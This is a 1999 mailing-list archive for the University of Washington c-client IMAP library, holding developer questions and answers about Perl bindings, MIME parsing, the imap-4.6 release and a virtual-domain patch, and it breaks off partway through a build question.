MAA30976 for ; Wed, 29 Sep 1999 12:41:46 -0700 Received: from stratus.swi.com.br (IDENT:root@stratus.swi.com.br [200.203.204.140]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA17816 for ; Wed, 29 Sep 1999 12:41:43 -0700 Received: from swi.com.br (IDENT:chaos@speedy.swi.com.br [200.203.204.150]) by stratus.swi.com.br (8.9.1a/8.8.7) with ESMTP id QAA17501 for ; Wed, 29 Sep 1999 16:44:07 -0300 Message-Id: <199909291944.QAA17501@stratus.swi.com.br> Date: Wed, 29 Sep 1999 16:42:44 -0300 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Raul Dias To: c-client@CAC.Washington.EDU Subject: Problems deleting message in a local MBOX folder MIME-Version: 1.0 Content-Type: TEXT/plain; CHARSET=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Sorry for my last post. There was a bug in my MUA. I am trying to delete a message from a local mailbox using C-Client's Perl binding. I use the command: $cclient_stream->setflag("$message_row", "\Deleted"); But it sets: X-Keywords: Deleted If I set '\anystring' as the flag, this will become the X-Keyword. When I do a: $cclient_stream->expunge; nothing happens. I have the callbacks set. It is a local MBOX file. The library (C-Client) is working. So, what is the correct way to set a message as deleted? I am writting a GTK based MUA, and this is where I am stucked now. Sorry if this is too obvious. Best Regards, Raul Dias -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Sep 29 12:52:12 1999 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 29 Sep 1999 12:52:12 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA31947 for ; Wed, 29 Sep 1999 12:52:11 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA00674; Wed, 29 Sep 1999 12:52:09 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with SMTP id MAA03584; Wed, 29 Sep 1999 12:49:49 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA35694 for ; Wed, 29 Sep 1999 12:49:18 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA32305 for ; Wed, 29 Sep 1999 12:49:17 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (pd@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA00605 for ; Wed, 29 Sep 1999 12:49:17 -0700 Message-Id: Date: Wed, 29 Sep 1999 12:48:34 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Raul Dias Cc: c-client@CAC.Washington.EDU Subject: re: Problems deleting message in a local MBOX folder In-Reply-To: <199909291944.QAA17501@stratus.swi.com.br> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The most likely explanation is that Perl is trying the \ as a quoting character, so you need to use \\Deleted instead of \Deleted. From pinedev@shivax2.cac.washington.edu Thu Sep 30 08:09:04 1999 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Thu, 30 Sep 1999 08:09:04 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id IAA21327 for ; Thu, 30 Sep 1999 08:09:02 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id IAA07743; Thu, 30 Sep 1999 08:08:59 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with SMTP id IAA10025; Thu, 30 Sep 1999 08:06:40 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id IAA64786 for ; Thu, 30 Sep 1999 08:02:00 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id IAA24734 for ; Thu, 30 Sep 1999 08:02:00 -0700 Received: from stratus.swi.com.br (IDENT:root@stratus.swi.com.br [200.203.204.140]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id IAA23372 for ; Thu, 30 Sep 1999 08:01:58 -0700 Received: from swi.com.br (IDENT:chaos@speedy.swi.com.br [200.203.204.150]) by stratus.swi.com.br (8.9.1a/8.8.7) with ESMTP id MAA05806 for ; Thu, 30 Sep 1999 12:04:21 -0300 Message-Id: <199909301504.MAA05806@stratus.swi.com.br> Date: Thu, 30 Sep 1999 12:03:00 -0300 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Raul Dias To: c-client@CAC.Washington.EDU Subject: Perl's Mail::Cclient and SMTP functions MIME-Version: 1.0 Content-Type: TEXT/plain; CHARSET=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi again, Does the C-Client Perl bidings has the SMTP functions working? I haven't found any documentation on this (in Mail::Cclient). I prefer to use C-client functions rather than doing this by hand. It's safer :-). Best Regards, Raul Dias -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Oct 4 08:43:30 1999 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 4 Oct 1999 08:43:29 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id IAA18814 for ; Mon, 4 Oct 1999 08:43:28 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id IAA28096; Mon, 4 Oct 1999 08:43:27 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with SMTP id IAA17531; Mon, 4 Oct 1999 08:41:41 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id IAA72080 for ; Mon, 4 Oct 1999 08:37:07 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id IAA15616 for ; Mon, 4 Oct 1999 08:37:07 -0700 Received: from stratus.swi.com.br (IDENT:root@stratus.swi.com.br [200.203.204.140]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id IAA11038 for ; Mon, 4 Oct 1999 08:37:02 -0700 Received: from swi.com.br (IDENT:chaos@speedy.swi.com.br [200.203.204.150]) by stratus.swi.com.br (8.9.1a/8.8.7) with ESMTP id MAA01061 for ; Mon, 4 Oct 1999 12:39:10 -0300 Message-Id: <199910041539.MAA01061@stratus.swi.com.br> Date: Mon, 4 Oct 1999 12:37:53 -0300 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Raul Dias To: c-client@CAC.Washington.EDU Subject: Unable to access "Content-Disposition" in a MIME message MIME-Version: 1.0 Content-Type: TEXT/plain; CHARSET=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I am trying to access the Content-Disposition MIME field using the BODY structure. But I can't get the info. Is it possible? In the way I see, this is the only way (besides parsing the entire body) to get the filename in a attachment message. How do you do this? (Get the filename form Content-Disposition) I am using the latest Mail::Cclient Perl Bindings, but a haven't found it in the docs/internal.txt either. - Raul Dias -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Oct 4 09:39:39 1999 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 4 Oct 1999 09:39:38 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id JAA19870 for ; Mon, 4 Oct 1999 09:39:37 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id JAA29814; Mon, 4 Oct 1999 09:39:36 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with SMTP id JAA20736; Mon, 4 Oct 1999 09:38:07 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id JAA49764 for ; Mon, 4 Oct 1999 09:36:25 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id JAA17584 for ; Mon, 4 Oct 1999 09:36:25 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (pth@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id JAA12842 for ; Mon, 4 Oct 1999 09:36:24 -0700 Message-Id: Date: Mon, 4 Oct 1999 09:35:14 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Raul Dias Cc: c-client@CAC.Washington.EDU Subject: re: Unable to access "Content-Disposition" in a MIME message In-Reply-To: <199910041539.MAA01061@stratus.swi.com.br> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 4 Oct 1999 12:37:53 -0300 (EST), Raul Dias wrote: > I am trying to access the Content-Disposition MIME field using the BODY > structure. It's in body->disposition. You have to read mail.h. You can't just rely upon what's in docs/internal.txt From pinedev@shivax2.cac.washington.edu Tue Oct 5 16:37:31 1999 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Tue, 5 Oct 1999 16:37:31 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id QAA27355 for ; Tue, 5 Oct 1999 16:37:30 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id QAA10136; Tue, 5 Oct 1999 16:37:28 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with SMTP id QAA27136; Tue, 5 Oct 1999 16:35:18 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id QAA52584 for ; Tue, 5 Oct 1999 16:30:40 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id QAA20798 for ; Tue, 5 Oct 1999 16:30:40 -0700 Received: from mx1.magmacom.com (mx1.magmacom.com [206.191.0.217]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id QAA24575 for ; Tue, 5 Oct 1999 16:30:39 -0700 Received: from mail4.magma.ca (mail4.magma.ca [206.191.0.222]) by mx1.magmacom.com (8.9.1a/8.9.1) with ESMTP id TAA26040 for ; Tue, 5 Oct 1999 19:30:39 -0400 (EDT) Received: from nile (main.icicom.com [206.191.12.209]) by mail4.magma.ca (8.9.3/8.9.3) with SMTP id TAA12683 for ; Tue, 5 Oct 1999 19:30:38 -0400 (EDT) Message-Id: Date: Tue, 5 Oct 1999 19:28:17 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: tarek@viasafe.com To: Subject: Fetch error detection MIME-Version: 1.0 Content-Type: text/plain; charset="windows-1252" Content-Transfer-Encoding: 7bit X-Sender: "tarek" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN When using mail_fetchstructure(), and under certain network conditions, the mm_log() reports "IMAP connection broken (server response)" but mail_fetchstructure returns non-NIL. The actual received message however does not match what was sent. I was wondering what is the proper way for detecting such failures. Is there any way of detecting such failure in addition to mm_log()? mm_log only provides a string and errflg, no specific error code. Thanks! Tarek. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Oct 12 18:01:28 1999 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Tue, 12 Oct 1999 18:01:28 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id SAA13055 for ; Tue, 12 Oct 1999 18:01:27 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id SAA27382; Tue, 12 Oct 1999 18:01:25 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id SAA22969; Tue, 12 Oct 1999 18:00:01 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id RAA47024 for ; Tue, 12 Oct 1999 17:58:01 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id RAA08154 for ; Tue, 12 Oct 1999 17:58:01 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (mace@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id RAA12259; Tue, 12 Oct 1999 17:58:00 -0700 Message-Id: Date: Tue, 12 Oct 1999 17:48:26 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: IMAP Interest List , c-client Interest List Subject: announce: imap-4.6 release now available MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This note is to announce the availability of the University of Washington IMAP toolkit version 4.6, which includes UW imapd and ipop3d. This latest release provides significant performance and security improvements, and fixes a number of bugs found in earlier releases. All sites running UW imapd and ipop3d are strongly encouraged to upgrade to this version as soon as possible. One very notable aspect of this release is a substantial improvement in performance in handling ordinary UNIX format mailbox files. Source for the latest IMAP toolkit release is available in: ftp://ftp.cac.washington.edu/mail/imap-4.6.tar.Z and ftp://ftp.cac.washington.edu/mail/imap.tar.Z Note that imap.tar.Z is always a link to the "latest and greatest" version, which may be a beta newer than the release version. As with all IMAP toolkit releases, it is important that you carefully test and determine for yourself that it performs suitably in your environment before placing it into production use. -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/imap/imap-list.html ----------------------------------------------------------------- From pinedev@shivax2.cac.washington.edu Wed Oct 13 07:22:39 1999 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 13 Oct 1999 07:22:39 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id HAA29540 for ; Wed, 13 Oct 1999 07:22:38 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id HAA25799; Wed, 13 Oct 1999 07:22:36 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id HAA11872; Wed, 13 Oct 1999 07:21:49 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id HAA28518 for ; Wed, 13 Oct 1999 07:19:47 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id HAA18319 for ; Wed, 13 Oct 1999 07:19:47 -0700 Received: from phall.kdsoft.fi (IDENT:root@phall.kdsoft.fi [194.215.189.78]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id HAA25728 for ; Wed, 13 Oct 1999 07:19:46 -0700 Received: from localhost (phall@localhost) by phall.kdsoft.fi (8.9.3/8.8.7) with ESMTP id RAA32153 for ; Wed, 13 Oct 1999 17:19:41 +0300 Message-Id: Date: Wed, 13 Oct 1999 17:19:40 +0300 (EEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Patrik Hall To: c-client@CAC.Washington.EDU Subject: imap and virtual domains in RedHat 6.0 and 6.1 MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I have been using RedHat distribution now for some time and I have noticed some functions in a program called linuxconf bundled with the distribution. linuxconf is a admin utility where network parameters, user accounts, etc. can be tuned in X/gnome/text-environment, administration can even be dome over http. It also has support for virtual domains and is capable to roll a new sendmail.cf based on new settings and restart sendmail. I can then add "pop-users" for that domain. Incloming mail is stored in /var/spool/vmail/domain.com/mailbox and passwd/shadowfile/aliases are stored in /etc/vmail/domain.com/ directory. Passwords are allways stored with crypt-encryption no matter what the rest of the system uses. Bundled with linuxconf is a small pop-daemon that supports pop-access to theese mailboxes in that matter that depending on the ip the connection is made it figures out what domain it should use. This means that each domain must have its own ip. I have made a dirty hack so that c-client supports this in some way. I decided that if the user enters "user@domain.com" as username, or "user#domain.com" for netscape compability, domain.com is selected as domain. If no domain is specified, standard behaviour is applied. Aliases are also parsed so "Full.Username@domain.com" is mapped to username if alias is found and it is local and no list. Hope it works. If anybody is interrested in this, the source and rpms/srpms/patches can be found at http://phall.kdsoft.fi/~phall/vimap/ The most work is done in src/osdep/unix/env_unix.c I have added some functions that replaces getpwent, getpwnam and checkpw with corresponding functions with virtual behaviour. Please somebody, if anybody have time, check and test my code, awful things like vsplitline in my code can definitly be improved. Have a nice day. --- Patrik Hall - +358 50 500 4668 - ICQ# 13414838 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Oct 13 09:00:58 1999 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 13 Oct 1999 09:00:58 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id JAA30326 for ; Wed, 13 Oct 1999 09:00:56 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id JAA10768; Wed, 13 Oct 1999 09:00:53 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id IAA09660; Wed, 13 Oct 1999 08:59:26 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id IAA24874 for ; Wed, 13 Oct 1999 08:57:31 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu1.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id IAA09673 for ; Wed, 13 Oct 1999 08:57:31 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (pat@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id IAA10662 for ; Wed, 13 Oct 1999 08:57:31 -0700 Message-Id: Date: Wed, 13 Oct 1999 08:52:05 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Patrik Hall Cc: c-client@CAC.Washington.EDU Subject: re: imap and virtual domains in RedHat 6.0 and 6.1 In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 13 Oct 1999 17:19:40 +0300 (EEST), Patrik Hall wrote: > I have added some functions that replaces getpwent, getpwnam and checkpw > with corresponding functions with virtual behaviour. For what it's worth, here's something that you should check: imapd's and ipop2d's security model is based entirely upon the filesystem security model. Therefore, it is essential that any login do a proper setuid()/setgid()/initgroups() to unique UID/GID settings for that user. If fred@foo.com and joe@bar.com are both hosted on the same machine and have the same UID, then fred can get at joe's mail (and vice versa). This is less of a problem with ipop3d, since POP3 only allows access to INBOX, but failure to do this properly can be disasterous with protocols such as POP2 and IMAP which allow secondary folders. From pinedev@shivax2.cac.washington.edu Thu Oct 14 04:44:33 1999 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Thu, 14 Oct 1999 04:44:33 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id EAA10044 for ; Thu, 14 Oct 1999 04:44:32 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id EAA05768; Thu, 14 Oct 1999 04:44:30 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id EAA21403; Thu, 14 Oct 1999 04:43:07 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id EAA27494 for ; Thu, 14 Oct 1999 04:41:42 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id EAA10782 for ; Thu, 14 Oct 1999 04:41:41 -0700 Received: from phall.kdsoft.fi (IDENT:root@phall.kdsoft.fi [194.215.189.78]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id EAA23910 for ; Thu, 14 Oct 1999 04:41:40 -0700 Received: from localhost (phall@localhost) by phall.kdsoft.fi (8.9.3/8.8.7) with ESMTP id OAA01063 for ; Thu, 14 Oct 1999 14:41:37 +0300 Message-Id: Date: Thu, 14 Oct 1999 14:41:37 +0300 (EEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Patrik Hall To: c-client@CAC.Washington.EDU Subject: re: imap and virtual domains in RedHat 6.0 and 6.1 In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 13 Oct 1999, Mark Crispin wrote: > imapd's and ipop2d's security model is based entirely upon the filesystem > security model. Therefore, it is essential that any login do a proper > setuid()/setgid()/initgroups() to unique UID/GID settings for that user. If > fred@foo.com and joe@bar.com are both hosted on the same machine and have the > same UID, then fred can get at joe's mail (and vice versa). > > This is less of a problem with ipop3d, since POP3 only allows access to INBOX, > but failure to do this properly can be disasterous with protocols such as POP2 > and IMAP which allow secondary folders. linuxconf generates an unique UID for every user. It is possible to specify for each domain a UID region, i.e domain1.com UID region starts at 61000, domain2.com at 62000 etc. The linuxconf passwd/shadow files are nothing more than /etc/passwd and /etc/shadow extensions. Theese files contains all necessary info for us. We need only new getpwent, getpwnam, getpwuid etc. to parse theese new files. UID is still hopefully unique even if the user database is scatterd in many places. Functions like getpwuid can be nasty to implement. It is not implemented in my hack however. Theese linuxconf passwd files look like this: --- ben:x:21000:231:Sample User 1:/vhome/domain.com/home/ben:/bin/false joe:x:21001:231:Sample User 2:/vhome/domain.com/home/joe:/bin/false me:x:21002:231:Sample User 3:/vhome/domain.com/home/me:/bin/false you:21003:231:Sample User 4:/vhome/domain.com/home/you:/bin/false --- The directories below /vhome/domain.com/home all have corresponding uid and permissions set to 0700, so security in my opinion is ok. Linuxconf homepage is available at: http://www.solucorp.qc.ca/linuxconf/ Additional information about linuxconf virtual domains is available here: http://phall.kdsoft.fi/~phall/vimap/vdomain.txt From pinedev@shivax2.cac.washington.edu Sun Oct 17 01:40:57 1999 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Sun, 17 Oct 1999 01:40:57 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id BAA11036 for ; Sun, 17 Oct 1999 01:40:56 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id BAA03126; Sun, 17 Oct 1999 01:40:53 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id BAA09812; Sun, 17 Oct 1999 01:39:36 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id BAA37404 for ; Sun, 17 Oct 1999 01:37:18 -0700 Received: from breton.uol.com.br (breton.uol.com.br [200.230.198.74]) by mxu3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id BAA18853 for ; Sun, 17 Oct 1999 01:37:16 -0700 Received: from 200-231-76-229-as.acessonet.com.br ([200.231.76.229]) by breton.uol.com.br (8.9.1/8.9.1) with SMTP id GAA03775; Sun, 17 Oct 1999 06:37:07 -0200 (BRST) Message-Id: <1347.959T1033T3943914mlemos@acm.org> Date: 17 Oct 99 06:34:20 +0000 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Manuel Lemos" To: c-client@u.washington.edu, php-dev@lists.php.net, webmaster@net-virtual.com Subject: Building IMAP c-client 4.6 library under Sun OS MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, I need to build IMAP 4.6 c-client library under SunOS 4.1: uname -a SunOS whoopi.adgrafix.com 5.6 Generic_105181-14 sun4u 